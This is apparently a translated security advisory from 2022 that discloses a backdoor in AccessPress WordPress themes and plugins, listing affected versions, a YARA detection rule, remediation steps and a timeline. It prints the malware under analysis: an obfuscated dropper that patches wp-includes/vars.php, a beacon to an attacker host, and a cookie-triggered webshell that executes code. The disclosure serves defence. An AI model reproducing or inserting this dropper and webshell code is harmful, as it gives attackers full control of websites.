Backdoor encontrado em temas e plugins de temas do AccessPress

Publicados: 2022-01-19

Atualização 1º de fevereiro – Alterada a seção “Temas afetados” para refletir que novas versões dos temas estão começando a aparecer.

Ao investigar um site comprometido, descobrimos um código suspeito em um tema do AccessPress Themes (também conhecido como Access Keys), um fornecedor com um grande número de temas e plugins populares. Em uma investigação mais aprofundada, descobrimos que todos os temas e a maioria dos plugins do fornecedor continham esse código suspeito, mas apenas se baixados de seu próprio site. As mesmas extensões funcionaram bem se baixadas ou instaladas diretamente do diretório WordPress.org.

Devido à forma como as extensões foram comprometidas, suspeitamos que um invasor externo tenha violado o site do AccessPress Themes na tentativa de usar suas extensões para infectar outros sites.

Entramos em contato com o fornecedor imediatamente, mas a princípio não recebemos uma resposta. Depois de encaminhá-lo para a equipe de plugins do WordPress.org, nossas suspeitas foram confirmadas. Os sites AccessPress Themes foram invadidos na primeira quinzena de setembro de 2021, e as extensões disponíveis para download em seu site foram injetadas com um backdoor.

Assim que estabelecemos um canal de comunicação com o fornecedor, compartilhamos nossas descobertas detalhadas com eles. Eles removeram imediatamente as extensões ofensivas de seu site.

A maioria dos plugins já foi atualizada e as versões limpas conhecidas estão listadas no final deste post. No entanto, os temas afetados não foram atualizados e são extraídos do repositório de temas do WordPress.org. Se você tiver algum dos temas listados no final desta postagem instalado em seu site, recomendamos migrar para um novo tema o mais rápido possível.

Essa divulgação diz respeito a um grande número de extensões, tanto plugins quanto temas. Pule para a lista abaixo ou leia os detalhes.

Detalhes:

Fornecedor: Temas AccessPress
URL do fornecedor: https://accesspressthemes.com
Plug-ins: vários
Temas: vários
CVE: CVE-2021-24867

Análise:

As extensões infectadas continham um conta-gotas para um webshell que dá aos invasores acesso total aos sites infectados. O conta-gotas está localizado no arquivo inital.php localizado no plugin principal ou diretório do tema. Quando executado, ele instala um webshell baseado em cookie em wp-includes/vars.php . O shell é instalado como uma função logo na frente da função wp_is_mobile() com o nome de wp_is_mobile_fix() . Isto é presumivelmente para não levantar suspeitas para ninguém que esteja navegando casualmente pelo arquivo vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Depois que o shell estiver instalado, o conta-gotas ligará para casa carregando uma imagem remota do URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg com o URL do site infectado e informações sobre qual tema ele usa como argumentos de consulta. Por fim, ele removerá o arquivo de origem do conta-gotas para evitar a detecção quando a solicitação terminar de ser executada.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

O próprio webshell é acionado se a string do agente do usuário na solicitação for wp_is_mobile e a solicitação contiver oito cookies específicos. Ele reúne e executa uma carga desses cookies fornecidos.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Também vimos outra variante, presumivelmente mais antiga, do backdoor diretamente embutido no arquivo functions.php do tema/plugin. Essa variante usa o mesmo mecanismo para reunir a carga útil de oito cookies, mas não filtra a string do agente do usuário da solicitação.

Para garantir que o dropper seja executado, o arquivo de plugin principal (para plugins) ou o arquivo functions.php (para temas) foram modificados com código para executar o arquivo inital.php se existir.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Um detalhe marcante dos timestamps dos plugins comprometidos é que eles são todos do início de setembro. A maioria é de 6 e 7 de setembro, com alguns arquivos de 2 e 3 de setembro. Da mesma forma para os temas, todos foram comprometidos em 22 de setembro, exceto accessbuddy em 9 de setembro.

Além disso, os carimbos de data e hora nos arquivos zip são muito uniformes, com quase todos os arquivos com exatamente o mesmo carimbo de data e hora, exceto o arquivo de plug-in principal modificado e o arquivo conta-gotas adicionado que é carimbado alguns minutos depois (geralmente cerca de 2 a 5 minutos após os outros arquivos no arquivo).

Observando os timestamps para os arquivos zip baixados do repositório wordpress.org , no entanto, encontramos uma distribuição de timestamps correspondentes a quando o plugin/tema foi realmente atualizado. Além disso, a distribuição de timestamps dentro do arquivo é menos uniforme e reflete quais arquivos foram atualizados na versão e quais não foram alterados em relação a uma versão mais antiga.

Isso nos sugere que os arquivos do site do AccessPress Themes foram modificados intencionalmente, e como uma ação coordenada depois que foram lançados originalmente. O compromisso parece ter sido feito em duas etapas, uma para os plugins e outra posterior para os temas. Cada um deles com algumas tentativas anteriores, possivelmente para afinar o processo.

Nossa investigação analisou apenas os temas e plugins disponíveis gratuitamente no site do AccessPress Themes. Presumimos que seus temas profissionais pagos sejam afetados da mesma forma, mas não os examinamos. Se você tiver algum desses, entre em contato com o suporte do AccessPress Themes para obter mais conselhos.

Temas afetados

Se você tiver algum dos seguintes temas com um número de versão na coluna Bad instalado em seu site, recomendamos atualizar para a versão na coluna Clean imediatamente. Vale a pena notar que os temas instalados através do WordPress.org são limpos, mesmo que estejam listados na coluna Ruim . Ainda recomendamos atualizar para a versão limpa conhecida para garantir a segurança.

Os temas sem número de versão na coluna Limpo ainda não foram atualizados e recomendamos substituí-lo por outro tema, se possível.

lesma de tema Ruim Limpar \ limpo
amigo de acesso 1.0.0
accesspress-basic 3.2.1 3.2.2
accesspress-lite 2,92 2,93
accesspress-mag 2.6.5 2.6.6
accesspress-parallax 4,5 4.6
accesspress-ray 1.19.5
accesspress-root 2,5 2.6.0
accesspress-grampo 1.9.1
accesspress-store 2.4.9 2.5.0
agência-lite 1.1.6 1.1.7
aplito 1.0.6
bingo 1.0.4 1.0.5
blogueiro 1.2.6 1.2.7
construção leve 1.2.5 1.2.6
doko 1.0.27 1.1.0
iluminar 1.3.5 1.3.6
loja de moda 1.2.1
fotografia 2.4.0 2.4.1
gaga-corp 1.0.8
gaga-lite 1.4.2
one-paze 2.2.8
blog de paralaxe 3.1.1574941215
paralaxe 1.3.6 1.3.7
punte 1.1.2 1.1.3
girar 1.3.1
ondulação 1.2.0 1.2.1
rolagem 2.1.0
revista esportiva 1.2.1
loja 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
o lançador 1.3.2 1.3.3
a segunda 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-news 1.0.5 1.0.6
zigcy-bebê 1.0.6 1.0.7
zigcy-cosméticos 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabela 1: Temas e versões comprometidos pelo ataque.

Plug-ins afetados

Se você tiver algum dos plug-ins a seguir com um número de versão na coluna Bad instalado em seu site, recomendamos atualizar para a versão na coluna Clean imediatamente. Vale a pena notar que os plugins instalados através do WordPress.org são limpos, mesmo que estejam listados na coluna Ruim . Ainda recomendamos atualizar para a versão limpa conhecida para garantir a segurança.

Plugins sem número de versão na coluna Clean ainda não foram atualizados e recomendamos substituí-los por outros plugins, se possível.

slug de plug-in Ruim Limpar \ limpo Observação
accesspress-anonymous-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accesspress-social-icons 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
acesse press-twitter-feed 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
ap-companion 1.0.7 2
formulário de contato ap 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap-mega-menu 3.0.5 3.0.6
tabelas de preços de ap-lite 1.1.2 1.1.3
apex-notification-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
comentários-desabilitar-acessopress 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-coming-breve-lite 1.1.0 1.1.1
everest-comment-rating-lite 2.0.4 2.0.5
everest-contra-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-gallery-lite 1.0.8 1.0.9
everest-google-places-reviews-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
inline-call-to-action-builder-lite 1.1.0 1.1.1
slider de produto para woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
mensagens de rolagem inteligente 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
total-team-lite 1.1.1 1.1.2
final-autor-box-lite 1.1.2 1.1.3
ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-slider 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-floating-menu 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-banners 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-product-gallery-lite 1.1.1
Tabela 2: Plugins, versões comprometidas pelo ataque, bem como versões limpas conhecidas,

Notas:

  1. Este plugin não foi atualizado, mas acredita-se que seja limpo, pois a versão no site AccessPress Themes era uma versão mais antiga.
  2. Este plugin não foi atualizado, mas acredita-se que seja limpo, pois não estava originalmente disponível no site AccessPress Themes.

COIs

A seguinte regra YARA pode ser usada para verificar se o site foi infectado. Ele detectará tanto a parte conta-gotas da infecção quanto o webshell instalado.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Recomendações

Se você tiver algum tema ou plugin instalado diretamente do AccessPress Themes ou de qualquer outro lugar, exceto WordPress.org, você deve atualizar imediatamente para uma versão segura, conforme indicado nas tabelas acima. Se nenhuma versão segura estiver disponível, substitua-a pela versão mais recente do WordPress.org.

Observe que isso não remove o backdoor do seu sistema, portanto, além disso, você precisa reinstalar uma versão limpa do WordPress para reverter as modificações do arquivo principal feitas durante a instalação do backdoor.

Se você tiver um tema ou plug-in pago do AccessPress Themes/Access Keys, recomendamos entrar em contato com o suporte deles para obter ajuda.

É altamente recomendável que você tenha um plano de segurança para seu site que inclua verificação e backups de arquivos maliciosos. O Jetpack Security é uma ótima opção de segurança do WordPress para garantir que seu site e visitantes estejam seguros. O Jetpack Scan detectou todas as variantes dessa porta dos fundos e do conta-gotas desde 30 de setembro.

Linha do tempo

22/09/2021: A equipe do Jetpack Scan descobre o conta-gotas e a porta dos fundos no tema FotoGraphy e tenta entrar em contato com o fornecedor sobre a descoberta inicial.

27/09/2021: Confirme a presença de conta-gotas + back door em todos os plugins e temas gratuitos atuais baixados do site dos fornecedores.

28/09/2021: Confirme se o conta-gotas + porta traseira não está presente em downloads do wordpress.org

29/09/2021: Tentando entrar em contato com o fornecedor novamente, com atualizações sobre novas descobertas.

14/10/2021: Escalado para a equipe de plugins do WordPress para tentar obter contato com o fornecedor.

15/10/2021: As extensões comprometidas são removidas do site do fornecedor.

16/10/2021: Resposta do fornecedor

17/01/2022: A maioria dos plugins foi atualizada para novas versões, os temas foram retirados do WordPress.org.

2022-01-18 Divulgação pública